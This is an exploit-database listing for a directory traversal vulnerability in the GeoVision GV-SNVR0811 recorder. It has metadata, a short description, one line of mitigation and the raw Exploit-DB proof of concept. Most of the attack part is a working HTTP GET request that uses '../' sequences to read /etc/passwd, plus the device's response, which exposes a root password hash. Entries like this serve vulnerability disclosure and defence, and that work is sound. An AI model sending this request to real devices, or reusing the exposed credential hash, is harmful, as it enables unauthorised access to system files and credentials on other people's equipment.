header-logo
Suggest Exploit
vendor:
GV-SNVR0811
by:
Berk Dusunur
4.3
CVSS
MEDIUM
Directory Traversal
22
CWE
Product Name: GV-SNVR0811
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: h:geovision:gv-snvr0811
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Parrot OS
2018

GeoVision GV-SNVR0811 Directory Traversal

A directory traversal vulnerability exists in GeoVision GV-SNVR0811, which allows an attacker to read arbitrary files on the system. This is achieved by sending a specially crafted GET request containing directory traversal sequences such as '../../../../../../../../../../../../etc/passwd' to the target.

Mitigation:

Ensure that user input is validated and sanitized before being used in file operations.
Source

Exploit-DB raw data:

# Exploit Title: GeoVision GV-SNVR0811 Directory Traversal
# Exploit Author: Berk Dusunur
# Google Dork: N/A
# Type: Hardware
# Date: 2018-07-21
# Vendor Homepage: http://www.geovision.com.tw/product/GV-SNVR0811
# Software Link: http://www.geovision.com.tw/product/GV-SNVR0811
# Affected Version: N/A
# Tested on: Parrot OS
# CVE : N/A


# Proof Of Concept

GET Request

GET ../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response

HTTP/1.1 200 OK
Server:Cross Web Server
Content-length: 59
Content-type: application/octet-stream

root:$1$$qRPK7m23GJusamGpoGLby/:0:0::/root:/bin/sh